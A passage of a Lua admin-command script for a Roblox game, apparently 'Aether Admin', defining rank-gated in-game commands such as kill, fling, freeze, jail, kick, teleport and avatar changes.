3090
},
3091
'Kills specified players.',
3092
Prefix..'kill [player],[player2]',
3093
function(Player, Arguments)
3094
	local Players = GetPlayers(Player, Arguments[1])
3095
	for i, v in pairs(Players) do
3096
		if v:FindFirstChild'Humanoid' then
3097
			local c = Instance.new('ObjectValue', v.Humanoid)
3098
			c.Name = 'creator'
3099
			c.Value = Player
3100
			game:service'Debris':AddItem(c, 3)
3101
			wait()
3102
		end
3103
		v.Character:BreakJoints()
3104
	end
3105
end,
3106
true
3107
)
3108
AddCommand(
3109
'Fling',
3110
3,
3111
{
3112
	'fling'
3113
},
3114
'Flings specified players.',
3115
Prefix..'fling [player],[player2]',
3116
function(Player, Arguments)
3117
	local Players = GetPlayers(Player, Arguments[1])
3118
	for i, v in pairs(Players) do
3119
		thread(function()
3120
			if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then 
3121
				local xran
3122
				local zran
3123
				repeat
3124
					xran = math.random(-9999, 9999)
3125
				until math.abs(xran) >= 5555
3126
				repeat
3127
					zran = math.random(-9999, 9999)
3128
				until math.abs(zran) >= 5555
3129
				v.Character.Humanoid.Sit = true
3130
				v.Character.Torso.Velocity = Vector3.new(0, 0, 0)
3131
				local frc = Instance.new("BodyForce", v.Character.Torso)
3132
				frc.Name = "BFRC"
3133
				frc.force = Vector3.new(xran * 4, 9999 * 5, zran * 4)
3134
				game:service("Debris"):AddItem(frc, .1)
3135
			end
3136
		end)
3137
	end
3138
end,
3139
true
3140
)
3141
AddCommand(
3142
'Stun',
3143
3,
3144
{
3145
	'stun'
3146
},
3147
'Stuns specified players.',
3148
Prefix..'stun [player],[player2]',
3149
function(Player, Arguments)
3150
	local Players = GetPlayers(Player, Arguments[1])
3151
	for i, v in pairs(Players) do
3152
		thread(function()
3153
			v.Character.Humanoid.PlatformStand = true
3154
		end)
3155
	end
3156
end,
3157
true
3158
)
3159
AddCommand(
3160
'Periastron',
3161
3,
3162
{
3163
	'periastron',
3164
	'peri'
3165
},
3166
'Gives specific players EVERY Periastron.',
3167
Prefix..'peri [player],[player2]',
3168
function(Player, Arguments)
3169
	local Players = GetPlayers(Player, Arguments[1])
3170
	for i, v in pairs(Players) do
3171
		thread(function()
3172
			for u, o in pairs(Periastrons) do
3173
				service'InsertService':LoadAsset(o):children()[1].Parent = v.Backpack
3174
			end
3175
		end)
3176
	end
3177
end,
3178
true
3179
)
3180
AddCommand(
3181
'UnStun',
3182
3,
3183
{
3184
	'unstun'
3185
},
3186
'UnStuns specified players.',
3187
Prefix..'unstun [player],[player2]',
3188
function(Player, Arguments)
3189
	local Players = GetPlayers(Player, Arguments[1])
3190
	for i, v in pairs(Players) do
3191
		thread(function()
3192
			v.Character.Humanoid.PlatformStand = false
3193
		end)
3194
	end
3195
end,
3196
true
3197
)
3198
AddCommand(
3199
'Jump',
3200
3,
3201
{
3202
	'jump'
3203
},
3204
'Jumps specified players.',
3205
Prefix..'jump [player],[player2]',
3206
function(Player, Arguments)
3207
	local Players = GetPlayers(Player, Arguments[1])
3208
	for i, v in pairs(Players) do
3209
		thread(function()
3210
			v.Character.Humanoid.Jump = true
3211
		end)
3212
	end
3213
end,
3214
true
3215
)
3216
AddCommand(
3217
'Sit',
3218
3,
3219
{
3220
	'sit'
3221
},
3222
'Sits specified players.',
3223
Prefix..'sit [player],[player2]',
3224
function(Player, Arguments)
3225
	local Players = GetPlayers(Player, Arguments[1])
3226
	for i, v in pairs(Players) do
3227
		thread(function()
3228
			v.Character.Humanoid.Sit = true
3229
		end)
3230
	end
3231
end,
3232
true
3233
)
3234
AddCommand(
3235
'Invisible',
3236
3,
3237
{
3238
	'invis',
3239
	'invisible'
3240
},
3241
'Makes specified players invisible.',
3242
Prefix..'invis [player],[player2]',
3243
function(Player, Arguments)
3244
	local Players = GetPlayers(Player, Arguments[1])
3245
	for i, v in pairs(Players) do
3246
		thread(function()
3247
			RunOnChildren('BasePart', v.Character, function(v)
3248
				v.Transparency = 1
3249
				if v:FindFirstChild'face' then
3250
					v.face.Transparency = 1
3251
				end
3252
			end)
3253
			RunOnChildren('Hat', v.Character, function(v)
3254
				v:children()[1].Transparency = 1
3255
			end)
3256
			RunOnChildren('Model', v.Character, function(v) 
3257
				if v:FindFirstChild'NameTag' then
3258
					v.Head.Transparency = 1
3259
				end
3260
				if v:FindFirstChild'face' then
3261
					v.face.Transparency = 1
3262
				end
3263
			end)
3264
		end)
3265
	end
3266
end,
3267
true
3268
)
3269
AddCommand(
3270
'Visible',
3271
3,
3272
{
3273
	'vis',
3274
	'visible'
3275
},
3276
'Makes specified players visible.',
3277
Prefix..'vis [player],[player2]',
3278
function(Player, Arguments)
3279
	local Players = GetPlayers(Player, Arguments[1])
3280
	for i, v in pairs(Players) do
3281
		thread(function()
3282
			RunOnChildren('BasePart', v.Character, function(v)
3283
				if v.Name ~= 'HumanoidRootPart' then
3284
					v.Transparency = 0
3285
				end
3286
				if v:FindFirstChild'face' then
3287
					v.face.Transparency = 0
3288
				end
3289
			end)
3290
			RunOnChildren('Hat', v.Character, function(v)
3291
				v:children()[1].Transparency = 0
3292
			end)
3293
			RunOnChildren('Model', v.Character, function(h) 
3294
				if h:FindFirstChild'NameTag' then
3295
					h.Head.Transparency = 0
3296
					if h.Head:FindFirstChild'face' then
3297
						h.Head.face.Transparency = 0
3298
					end
3299
					if v.Character.Head:FindFirstChild'face' then
3300
						v.Character.Head.face.Transparency = 0
3301
					end
3302
					v.Character.Head.Transparency = 1
3303
				end
3304
			end)
3305
		end)
3306
	end
3307
end,
3308
true
3309
)
3310
AddCommand(
3311
'Lock',
3312
3,
3313
{
3314
	'lock'
3315
},
3316
'Makes specified players locked.',
3317
Prefix..'lock [player],[player2]',
3318
function(Player, Arguments)
3319
	local Players = GetPlayers(Player, Arguments[1])
3320
	for i, v in pairs(Players) do
3321
		thread(function()
3322
			RunOnChildren('BasePart', v.Character, function(v)
3323
				v.Locked = true
3324
			end)
3325
			RunOnChildren('Hat', v.Character, function(v)
3326
				v:children()[1].Locked = true
3327
			end)
3328
		end)
3329
	end
3330
end,
3331
true
3332
)
3333
AddCommand(
3334
'UnName',
3335
3,
3336
{
3337
	'unname'
3338
},
3339
'Removes specified players custom names.',
3340
Prefix..'unname [player],[player2]',
3341
function(Player, Arguments)
3342
	local Players = GetPlayers(Player, Arguments[1])
3343
	for i, v in pairs(Players) do
3344
		thread(function()
3345
			RunOnChildren('Instance', v.Character, function(v)
3346
				if v:FindFirstChild'NameTag' then
3347
					v:Destroy''
3348
				elseif v.Name == 'Head' then
3349
					v.Transparency = 0
3350
				end
3351
			end)
3352
		end)
3353
	end
3354
end,
3355
true
3356
)
3357
AddCommand(
3358
'UnLock',
3359
3,
3360
{
3361
	'unlock'
3362
},
3363
'Makes specified players unlocked.',
3364
Prefix..'unlock [player],[player2]',
3365
function(Player, Arguments)
3366
	local Players = GetPlayers(Player, Arguments[1])
3367
	for i, v in pairs(Players) do
3368
		thread(function()
3369
			RunOnChildren('BasePart', v.Character, function(v)
3370
				v.Locked = false
3371
			end)
3372
			RunOnChildren('Hat', v.Character, function(v)
3373
				v:children()[1].Locked = false
3374
			end)
3375
		end)
3376
	end
3377
end,
3378
true
3379
)
3380
AddCommand(
3381
'Age',
3382
3,
3383
{
3384
	'age'
3385
},
3386
'Pings specified players age.',
3387
Prefix..'age [player],[player2]',
3388
function(Player, Arguments)
3389
	local Players = GetPlayers(Player, Arguments[1])
3390
	for i, v in pairs(Players) do
3391
		thread(function()
3392
			Ping(Player, v.Name..' Account Age | '..v.AccountAge)
3393
		end)
3394
	end
3395
end,
3396
true
3397
)
3398
AddCommand(
3399
'Fire',
3400
3,
3401
{
3402
	'fire'
3403
},
3404
'Sets specified players on fire.',
3405
Prefix..'fire [player],[player2]',
3406
function(Player, Arguments)
3407
	local Players = GetPlayers(Player, Arguments[1])
3408
	table.remove(Arguments, 1)
3409
	local Color = Join(Arguments)
3410
	for i, v in pairs(Players) do
3411
		thread(function()
3412
			Instance.new('Fire', v.Character.Torso).Color = BrickColor.new(Color or 'Really red').Color
3413
		end)
3414
	end
3415
end,
3416
true
3417
)
3418
AddCommand(
3419
'UnFire',
3420
3,
3421
{
3422
	'unfire'
3423
},
3424
'Makes specified players not on fire.',
3425
Prefix..'unfire [player],[player2]',
3426
function(Player, Arguments)
3427
	local Players = GetPlayers(Player, Arguments[1])
3428
	for i, v in pairs(Players) do
3429
		thread(function()
3430
			RunOnChildren('Fire', v.Character.Torso, function(v)
3431
				v:remove''
3432
			end)
3433
		end)
3434
	end
3435
end,
3436
true
3437
)
3438
AddCommand(
3439
'Smoke',
3440
3,
3441
{
3442
	'smoke'
3443
},
3444
'Adds smoke to specified players.',
3445
Prefix..'smoke [player],[player2]',
3446
function(Player, Arguments)
3447
	local Players = GetPlayers(Player, Arguments[1])
3448
	table.remove(Arguments, 1)
3449
	local Color = Join(Arguments)
3450
	for i, v in pairs(Players) do
3451
		thread(function()
3452
			Instance.new('Smoke', v.Character.Torso).Color = BrickColor.new(Color or 'Really red').Color
3453
		end)
3454
	end
3455
end,
3456
true
3457
)
3458
AddCommand(
3459
'Baseplate',
3460
8,
3461
{
3462
	'base'
3463
},
3464
'Creates a Baseplate.',
3465
Prefix..'base',
3466
function(Player, Arguments)
3467
	MakeBase()
3468
end,
3469
true
3470
)
3471
AddCommand(
3472
'Remove Baseplate',
3473
8,
3474
{
3475
	'rbase'
3476
},
3477
'Removes generated Baseplate.',
3478
Prefix..'rbase',
3479
function(Player, Arguments)
3480
	if CurrentPlate then
3481
		CurrentPlate:Destroy()
3482
	end
3483
end,
3484
true
3485
)
3486
AddCommand(
3487
'UnSmoke',
3488
3,
3489
{
3490
	'unsmoke'
3491
},
3492
'Removes smoke from specified players.',
3493
Prefix..'unsmoke [player],[player2]',
3494
function(Player, Arguments)
3495
	local Players = GetPlayers(Player, Arguments[1])
3496
	for i, v in pairs(Players) do
3497
		thread(function()
3498
			RunOnChildren('Smoke', v.Character.Torso, function(v)
3499
				v:remove''
3500
			end)
3501
		end)
3502
	end
3503
end,
3504
true
3505
)
3506
AddCommand(
3507
'Sparkles',
3508
3,
3509
{
3510
	'sparkles'
3511
},
3512
'Adds sparkles to specified players.',
3513
Prefix..'sparkles [player],[player2]',
3514
function(Player, Arguments)
3515
	local Players = GetPlayers(Player, Arguments[1])
3516
	table.remove(Arguments, 1)
3517
	local Color = Join(Arguments)
3518
	for i, v in pairs(Players) do
3519
		thread(function()
3520
			Instance.new('Sparkles', v.Character.Torso).Color = BrickColor.new(Color or 'Really red').Color
3521
		end)
3522
	end
3523
end,
3524
true
3525
)
3526
AddCommand(
3527
'UnSparkles',
3528
3,
3529
{
3530
	'unsparkles'
3531
},
3532
'Removes sparkles from specified players.',
3533
Prefix..'unsparkles [player],[player2]',
3534
function(Player, Arguments)
3535
	local Players = GetPlayers(Player, Arguments[1])
3536
	for i, v in pairs(Players) do
3537
		thread(function()
3538
			RunOnChildren('Sparkles', v.Character.Torso, function(v)
3539
				v:remove''
3540
			end)
3541
		end)
3542
	end
3543
end,
3544
true
3545
)
3546
AddCommand(
3547
'Punish',
3548
3,
3549
{
3550
	'punish'
3551
},
3552
'Makes specified players characters in serverstorage.',
3553
Prefix..'punish [player],[player2]',
3554
function(Player, Arguments)
3555
	local Players = GetPlayers(Player, Arguments[1])
3556
	for i, v in pairs(Players) do
3557
		v.Character.Parent = game:service'ServerStorage'
3558
	end
3559
end,
3560
true
3561
)
3562
AddCommand(
3563
'UnPunish',
3564
3,
3565
{
3566
	'unpunish'
3567
},
3568
'Makes specified players characters in workspace.',
3569
Prefix..'unpunish [player],[player2]',
3570
function(Player, Arguments)
3571
	local Players = GetPlayers(Player, Arguments[1])
3572
	for i, v in pairs(Players) do
3573
		v.Character.Parent = game:service'Workspace'
3574
		v.Character:MakeJoints()
3575
	end
3576
end,
3577
true
3578
)
3579
AddCommand(
3580
'Freeze',
3581
3,
3582
{
3583
	'freeze'
3584
},
3585
'Makes specified players frozen.',
3586
Prefix..'freeze [player],[player2]',
3587
function(Player, Arguments)
3588
	local Players = GetPlayers(Player, Arguments[1])
3589
	for i, v in pairs(Players) do
3590
		FreezeCam(v)
3591
		thread(function()
3592
			RunOnChildren('BasePart', v.Character, function(v)
3593
				if v.Name ~= 'HumanoidRootPart' then
3594
					v.Anchored = true
3595
				end
3596
			end)
3597
			RunOnChildren('Humanoid', v.Character, function(v)
3598
				v.WalkSpeed = 0
3599
			end)
3600
		end)
3601
	end
3602
end,
3603
true
3604
)
3605
AddCommand(
3606
'Thaw',
3607
3,
3608
{
3609
	'thaw',
3610
	'unfreeze'
3611
},
3612
'Makes specified players not frozen.',
3613
Prefix..'thaw [player],[player2]',
3614
function(Player, Arguments)
3615
	local Players = GetPlayers(Player, Arguments[1])
3616
	for i, v in pairs(Players) do
3617
		ThawCam(v)
3618
		thread(function()
3619
			RunOnChildren('BasePart', v.Character, function(v)
3620
				v.Anchored = false
3621
			end)
3622
			RunOnChildren('Humanoid', v.Character, function(v)
3623
				v.WalkSpeed = 16
3624
			end)
3625
		end)
3626
	end
3627
end,
3628
true
3629
)
3630
AddCommand(
3631
'Ambient',
3632
4,
3633
{
3634
	'ambient'
3635
},
3636
'Makes ambient a specific color',
3637
Prefix..'ambient 0 1 0',
3638
function(Player, Arguments)
3639
	if #Arguments ~= 3 then
3640
		return
3641
	end
3642
	game:service'Lighting'.Ambient = Color3.new(Arguments[1], Arguments[2], Arguments[3])
3643
end,
3644
true
3645
)
3646
AddCommand(
3647
'Clone',
3648
3,
3649
{
3650
	'clone'
3651
},
3652
'Clones specified players characters.',
3653
Prefix..'clone [player1],[player2]',
3654
function(Player, Arguments)
3655
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
3656
		thread(function()
3657
			if v and v.Character then 
3658
				v.Character.Archivable = true 
3659
				local cl = v.Character:Clone() 
3660
				table.insert(Objects, cl) 
3661
				cl.Parent = workspace 
3662
				cl:MoveTo(v.Character:GetModelCFrame().p)
3663
				cl:MakeJoints()
3664
				v.Character.Archivable = false 
3665
				repeat
3666
					wait()
3667
				until not cl or not cl.Humanoid or cl.Humanoid.Health <= 0
3668
				wait(5)
3669
				if cl then
3670
					cl:Destroy()
3671
				end
3672
			end
3673
		end)
3674
	end
3675
end,
3676
true
3677
)
3678
AddCommand(
3679
'Clear',
3680
4,
3681
{
3682
	'clear'
3683
},
3684
'Clears away all jails, exe scripts, clones and more.',
3685
Prefix..'brightness 30',
3686
function(Player, Arguments)
3687
	for i, v in pairs(Objects) do
3688
		v:Destroy()
3689
	end
3690
	Objects = {}
3691
	for i, v in pairs(Jails) do
3692
		if not game.Players:FindFirstChild(i) then
3693
			for u, o in pairs(v) do
3694
				o:Destroy()
3695
			end
3696
			Jails[i] = {}
3697
		end
3698
	end
3699
end,
3700
true
3701
)
3702
AddCommand(
3703
'Brightness',
3704
4,
3705
{
3706
	'brightness'
3707
},
3708
'Makes brightness a specific number',
3709
Prefix..'brightness 30',
3710
function(Player, Arguments)
3711
	game:service'Lighting'.Brightness = Arguments[1]
3712
end,
3713
true
3714
)
3715
AddCommand(
3716
'Jail',
3717
4,
3718
{
3719
	'jail'
3720
},
3721
'Puts specified players in jail.',
3722
Prefix..'jail [player1],[player2]',
3723
function(Player, Arguments)
3724
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
3725
		Jail(v)
3726
	end
3727
end,
3728
true
3729
)
3730
AddCommand(
3731
'Solitary',
3732
6,
3733
{
3734
	'sol'
3735
},
3736
'Puts specified players in solitary confinement jail.',
3737
Prefix..'jail [player1],[player2]',
3738
function(Player, Arguments)
3739
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
3740
		Solitary(v)
3741
	end
3742
end,
3743
true
3744
)
3745
AddCommand(
3746
'Un-Jail',
3747
4,
3748
{
3749
	'unjail'
3750
},
3751
'Gets specified players out of jail.',
3752
Prefix..'unjail [player1],[player2]',
3753
function(Player, Arguments)
3754
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
3755
		if Jails[v.Name] then
3756
			for o, p in pairs(Jails[v.Name]) do
3757
				p:Destroy()
3758
			end
3759
			Jails[v.Name] = {}
3760
		end
3761
	end
3762
end,
3763
true
3764
)
3765
AddCommand(
3766
'Time',
3767
4,
3768
{
3769
	'time'
3770
},
3771
'Makes server time a specific number',
3772
Prefix..'time 10000',
3773
function(Player, Arguments)
3774
	game:service'Lighting'.TimeOfDay = Arguments[1]
3775
end,
3776
true
3777
)
3778
AddCommand(
3779
'FogColor',
3780
4,
3781
{
3782
	'fogcolor'
3783
},
3784
'Makes fog a specific color',
3785
Prefix..'fogcolor 0 1 0',
3786
function(Player, Arguments)
3787
	if #Arguments ~= 3 then
3788
		return
3789
	end
3790
	game:service'Lighting'.FogColor = Color3.new(Arguments[1], Arguments[2], Arguments[3])
3791
end,
3792
true
3793
)
3794
AddCommand(
3795
'FogEnd',
3796
4,
3797
{
3798
	'fogend'
3799
},
3800
'Makes fogend a specific number',
3801
Prefix..'fogend 100',
3802
function(Player, Arguments)
3803
	game:service'Lighting'.FogEnd = Arguments[1]
3804
end,
3805
true
3806
)
3807
AddCommand(
3808
'FogStart',
3809
4,
3810
{
3811
	'fogstart'
3812
},
3813
'Makes fogstart a specific number',
3814
Prefix..'fogstart 100',
3815
function(Player, Arguments)
3816
	game:service'Lighting'.FogStart = Arguments[1]
3817
end,
3818
true
3819
)
3820
AddCommand(
3821
'Team',
3822
4,
3823
{
3824
	'team'
3825
},
3826
'Makes specified players a specific team',
3827
Prefix..'team [player1],[player2] [teamname]',
3828
function(Player, Arguments)
3829
	if #Arguments < 2 then
3830
		return
3831
	end
3832
	local Players = GetPlayers(Player, Arguments[1])
3833
	local TeamColor
3834
	for i, v in pairs(service'Teams':children()) do
3835
		if v:IsA'Team' then
3836
			if v.Name:sub(1, #Arguments[2]) == #Arguments[2] then
3837
				TeamColor = v.TeamColor
3838
			end
3839
		end
3840
	end
3841
	for i, v in pairs(Players) do
3842
		if TeamColor ~= nil then
3843
			v.TeamColor = TeamColor
3844
		end
3845
	end
3846
end,
3847
true
3848
)
3849
AddCommand(
3850
'Shirt',
3851
3,
3852
{
3853
	'shirt'
3854
},
3855
'Adds a shirt to specified players.',
3856
Prefix..'shirt [player],[player2] [shirtid]',
3857
function(Player, Arguments)
3858
	if #Arguments ~= 2 then
3859
		return
3860
	end
3861
	local Players = GetPlayers(Player, Arguments[1])
3862
	for i, v in pairs(Players) do
3863
		thread(function()
3864
			RunOnChildren('Shirt', v.Character, function(v)
3865
				v:remove''
3866
			end)
3867
			Instance.new('Shirt', v.Character).ShirtTemplate = 'http://www.roblox.com/asset/?id='..Arguments[2]
3868
		end)
3869
	end
3870
end,
3871
true
3872
)
3873
AddCommand(
3874
'Pants',
3875
3,
3876
{
3877
	'pants'
3878
},
3879
'Adds some pants to specified players.',
3880
Prefix..'pants [player],[player2] [pantsid]',
3881
function(Player, Arguments)
3882
	if #Arguments ~= 2 then
3883
		return
3884
	end
3885
	local Players = GetPlayers(Player, Arguments[1])
3886
	for i, v in pairs(Players) do
3887
		thread(function()
3888
			RunOnChildren('Pants', v.Character, function(v)
3889
				v:remove''
3890
			end)
3891
			Instance.new('Pants', v.Character).PantsTemplate = 'http://www.roblox.com/asset/?id='..Arguments[2]
3892
		end)
3893
	end
3894
end,
3895
true
3896
)
3897
AddCommand(
3898
'Face',
3899
3,
3900
{
3901
	'face'
3902
},
3903
'Adds a face to specified players.',
3904
Prefix..'face [player],[player2] [faceid]',
3905
function(Player, Arguments)
3906
	if #Arguments ~= 2 then
3907
		return
3908
	end
3909
	local Players = GetPlayers(Player, Arguments[1])
3910
	for i, v in pairs(Players) do
3911
		thread(function()
3912
			RunOnChildren('Decal', v.Character.Head, function(v)
3913
				v.TextureId = 'http://www.roblox.com/asset/?id='..Arguments[2]
3914
			end)
3915
		end)
3916
	end
3917
end,
3918
true
3919
)
3920
AddCommand(
3921
'Respawn',
3922
3,
3923
{
3924
	'rs',
3925
	'respawn'
3926
},
3927
'Respawns specified players.',
3928
Prefix..'rs [player],[player2]',
3929
function(Player, Arguments)
3930
	local Players = GetPlayers(Player, Arguments[1])
3931
	for i, v in pairs(Players) do
3932
		v:LoadCharacter()
3933
	end
3934
end,
3935
true
3936
)
3937
AddCommand(
3938
'Walkspeed',
3939
3,
3940
{
3941
	'ws',
3942
	'speed',
3943
	'walkspeed'
3944
},
3945
'Changes walkspeed of specified players.',
3946
Prefix..'ws [player],[player2] [speed]',
3947
function(Player, Arguments)
3948
	local Players = GetPlayers(Player, Arguments[1])
3949
	for i, v in pairs(Players) do
3950
		thread(function()
3951
			RunOnChildren('Humanoid', v.Character, function(v)
3952
				v.WalkSpeed = tonumber(Arguments[2])
3953
			end)
3954
		end)
3955
	end
3956
end,
3957
true
3958
)
3959
AddCommand(
3960
'Fly',
3961
3,
3962
{
3963
	'fly'
3964
},
3965
'Makes specified players able to fly.',
3966
Prefix..'fly [player],[player2]',
3967
function(Player, Arguments)
3968
	local Players = GetPlayers(Player, Arguments[1])
3969
	for i, v in pairs(Players) do
3970
		Fly(v)
3971
	end
3972
end,
3973
true
3974
)
3975
AddCommand(
3976
'UnFly',
3977
3,
3978
{
3979
	'unfly'
3980
},
3981
'Makes specified players unable to fly.',
3982
Prefix..'unfly [player],[player2]',
3983
function(Player, Arguments)
3984
	local Players = GetPlayers(Player, Arguments[1])
3985
	for i, v in pairs(Players) do
3986
		UnFly(v)
3987
		thread(function()
3988
			for i = 1, 3 do
3989
				wait(.3)
3990
				v.Character.Humanoid.PlatformStand = false
3991
			end
3992
		end)
3993
	end
3994
end,
3995
true
3996
)
3997
AddCommand(
3998
'Character',
3999
3,
4000
{
4001
	'char'
4002
},
4003
'Makes specified players characters anyone you set it to.',
4004
Prefix..'char [player],[player2] [name]',
4005
function(Player, Arguments)
4006
	if #Arguments > 2 then
4007
		return
4008
	end
4009
	local Players = GetPlayers(Player, Arguments[1])
4010
	local PlayerId = IdFromName(Arguments[2])
4011
	local fetch = service'HttpService':GetAsync([[http://rproxy.pw/Asset/CharacterFetch.ashx?userId=]]..PlayerId)
4012
	local fetches = Split(fetch, ';')
4013
	local fetched = {}
4014
	for i = 1, #fetches do
4015
		table.insert(fetched, Split(fetches[i], '=')[2])
4016
	end
4017
	local insfetched = {}
4018
	for i = 1, #fetched do
4019
		if i ~= 1 and #fetched[i] <= 12 then
4020
			print(fetched[i])
4021
			print(#fetched[i])
4022
			table.insert(insfetched, game:service'InsertService':LoadAssetVersion(tonumber(fetched[i])):children()[1])
4023
		end
4024
	end
4025
	for i, v in pairs(Players) do
4026
		for o, p in pairs(v.Character:children()) do
4027
			if p:IsA'Shirt' or p:IsA'Hat' or p:IsA'BodyColors' or p:IsA'Pants' or p:IsA'CharacterMesh' then
4028
				p:Destroy()
4029
			elseif p.Name == 'Head' and p:FindFirstChild'face' then
4030
				p.face:Destroy''
4031
			elseif p.Name == 'Torso' and p:FindFirstChild'roblox' then
4032
				p.roblox:Destroy()
4033
			end
4034
		end
4035
		for o, p in pairs(insfetched) do
4036
			if p.Name == 'face' then
4037
				p:clone().Parent = v.Character.Head
4038
			elseif p.Name == 'roblox' then
4039
--p:clone().Parent=v.Character.torso
4040
			else
4041
				p:clone().Parent = v.Character
4042
			end
4043
		end
4044
		if v.Character.Head:findFirstChild'face' == nil then
4045
			local face1 = Instance.new("Decal")
4046
			face1.Shiny = 20
4047
			face1.Transparency = 0
4048
			face1.Name = "face"
4049
			face1.Specular = 0
4050
			face1.Parent = v.Character.Head
4051
			face1.Face = Enum.NormalId.Front
4052
			face1.Archivable = true
4053
			face1.Texture = "rbxasset://textures/face.png"
4054
		end
4055
	end
4056
end,
4057
true
4058
)
4059
AddCommand(
4060
'UnCharacter',
4061
3,
4062
{
4063
	'unchar',
4064
	'normal'
4065
},
4066
'Makes specified players characters normal.',
4067
Prefix..'unchar [player],[player2]',
4068
function(Player, Arguments)
4069
	if #Arguments > 1 then
4070
		return
4071
	end
4072
	local Players = GetPlayers(Player, Arguments[1])
4073
	for i, v in pairs(Players) do
4074
		local PlayerId = v.userId
4075
		local fetch = service'HttpService':GetAsync([[http://rproxy.pw/Asset/CharacterFetch.ashx?userId=]]..PlayerId)
4076
		local fetches = Split(fetch, ';')
4077
		local fetched = {}
4078
		for i = 1, #fetches do
4079
			table.insert(fetched, Split(fetches[i], '=')[2])
4080
		end
4081
		local insfetched = {}
4082
		for i = 1, #fetched do
4083
			if i ~= 1 and #fetched[i] <= 12 then
4084
				print(fetched[i])
4085
				print(#fetched[i])
4086
				table.insert(insfetched, game:service'InsertService':LoadAssetVersion(tonumber(fetched[i])):children()[1])
4087
			end
4088
		end
4089
		for o, p in pairs(v.Character:children()) do
4090
			if p:IsA'Shirt' or p:IsA'Hat' or p:IsA'BodyColors' or p:IsA'Pants' or p:IsA'CharacterMesh' then
4091
				p:Destroy()
4092
			elseif p.Name == 'Head' and p:FindFirstChild'face' then
4093
				p.face:Destroy''
4094
			elseif p.Name == 'Torso' and p:FindFirstChild'roblox' then
4095
				p.roblox:Destroy()
4096
			end
4097
		end
4098
		for o, p in pairs(insfetched) do
4099
			if p.Name == 'face' then
4100
				p:clone().Parent = v.Character.Head
4101
			elseif p.Name == 'roblox' then
4102
--p:clone().Parent=v.Character.torso
4103
			else
4104
				p:clone().Parent = v.Character
4105
			end
4106
		end
4107
		if v.Character.Head:findFirstChild'face' == nil then
4108
			local face1 = Instance.new("Decal")
4109
			face1.Shiny = 20
4110
			face1.Transparency = 0
4111
			face1.Name = "face"
4112
			face1.Specular = 0
4113
			face1.Parent = v.Character.Head
4114
			face1.Face = Enum.NormalId.Front
4115
			face1.Archivable = true
4116
			face1.Texture = "rbxasset://textures/face.png"
4117
		end
4118
	end
4119
end,
4120
true
4121
)
4122
AddCommand(
4123
'CommandRank',
4124
11,
4125
{
4126
	'crank'
4127
},
4128
'Makes specified commands specific rank.',
4129
Prefix..'crank [command] [rank]',
4130
function(Player, Arguments)
4131
	if #Arguments < 2 then
4132
		return
4133
	end
4134
	if Arguments[1] == 'crank' then
4135
		return
4136
	end
4137
	CommandReRank(Arguments[1], Arguments[2])
4138
end,
4139
true
4140
)
4141
AddCommand(
4142
'Plat',
4143
3,
4144
{
4145
	'plat'
4146
},
4147
'Makes specified players able to walk on air.',
4148
Prefix..'plat [player],[player2]',
4149
function(Player, Arguments)
4150
	local Players = GetPlayers(Player, Arguments[1])
4151
	for i, v in pairs(Players) do
4152
		Plat(v)
4153
	end
4154
end,
4155
true
4156
)
4157
AddCommand(
4158
'UnPlat',
4159
3,
4160
{
4161
	'unplat'
4162
},
4163
'Makes specified players unable to walk on air.',
4164
Prefix..'unplat [player],[player2]',
4165
function(Player, Arguments)
4166
	local Players = GetPlayers(Player, Arguments[1])
4167
	for i, v in pairs(Players) do
4168
		UnPlat(v)
4169
	end
4170
end,
4171
true
4172
)
4173
AddCommand(
4174
'Teleport',
4175
3,
4176
{
4177
	'tp'
4178
},
4179
'Teleports players.',
4180
Prefix..'tp [player],[player2] [target player]',
4181
function(Player, Arguments)
4182
	local Players = GetPlayers(Player, Arguments[1])
4183
	local TpPlayer = GetPlayers(Player, Arguments[2])[1]
4184
	for i, v in pairs(Players) do
4185
		thread(function()
4186
			v.Character.Torso.CFrame = TpPlayer.Character.Torso.CFrame
4187
		end)
4188
	end
4189
end,
4190
true
4191
)
4192
AddCommand(
4193
'Save',
4194
8,
4195
{
4196
	'save'
4197
},
4198
'Saves ranks.',
4199
Prefix..'save',
4200
function(Player, Arguments)
4201
	Save()
4202
end,
4203
true
4204
)
4205
AddCommand(
4206
'Console Chat',
4207
3,
4208
{
4209
	'cc'
4210
},
4211
'Chats from console.',
4212
Prefix..'fly [player],[player2]',
4213
function(Player, Arguments)
4214
	if Player.Name:sub(1, 8) == '@remote.' then
4215
		for i, v in pairs(GetRawPlayers()) do
4216
			SendChat(v, Player.Name..': '..Join(Arguments))
4217
		end
4218
	end
4219
end,
4220
true
4221
)
4222
AddCommand(
4223
'Nuke',
4224
11,
4225
{
4226
	'nuke'
4227
},
4228
'Destroys the server.',
4229
Prefix..'nuke',
4230
function(Player, Arguments)
4231
	local des
4232
	function des(obj)
4233
		for i, v in pairs(obj:children()) do
4234
			wait()
4235
			if v:IsA'BasePart' and not v:IsA'Terrain' then
4236
				v.Anchored = false
4237
				v.Locked = true
4238
				v.CanCollide = true
4239
				v:BreakJoints()
4240
				Instance.new('Explosion', v).Position = v.Position
4241
				game:service'Debris':AddItem(v, 5)
4242
			elseif v:IsA'Script' then
4243
				v:Destroy()
4244
			end
4245
			des(v)
4246
		end
4247
	end
4248
	des(workspace)
4249
	workspace.Terrain:Clear()
4250
end,
4251
true
4252
)
4253
AddCommand(
4254
'Kick',
4255
5,
4256
{
4257
	'kick'
4258
},
4259
'Kicks specified player(s).',
4260
Prefix..'kick [player],[player2] [reason]',
4261
function(Player, Arguments)
4262
	local arg1 = Arguments[1]
4263
	table.remove(Arguments, 1)
4264
	for i, v in pairs(GetPlayers(Player, arg1)) do
4265
		if GetRank(Player).Rank > GetRank(v).Rank then
4266
			if #Arguments >= 2 then
4267
				ForceDisconnect(v, Join(Arguments))
4268
			else
4269
				ForceDisconnect(v, 'Disconnected by Aether Admin.')
4270
			end
4271
		end
4272
	end
4273
end,
4274
true
4275
)
4276
AddCommand(
4277
'Mute',
4278
5,
4279
{
4280
	'mute'
4281
},
4282
'Mutes specified player(s).',
4283
Prefix..'mute [player],[player2]',
4284
function(Player, Arguments)
4285
	local arg1 = Arguments[1]
4286
	table.remove(Arguments, 1)
4287
	for i, v in pairs(GetPlayers(Player, arg1)) do
4288
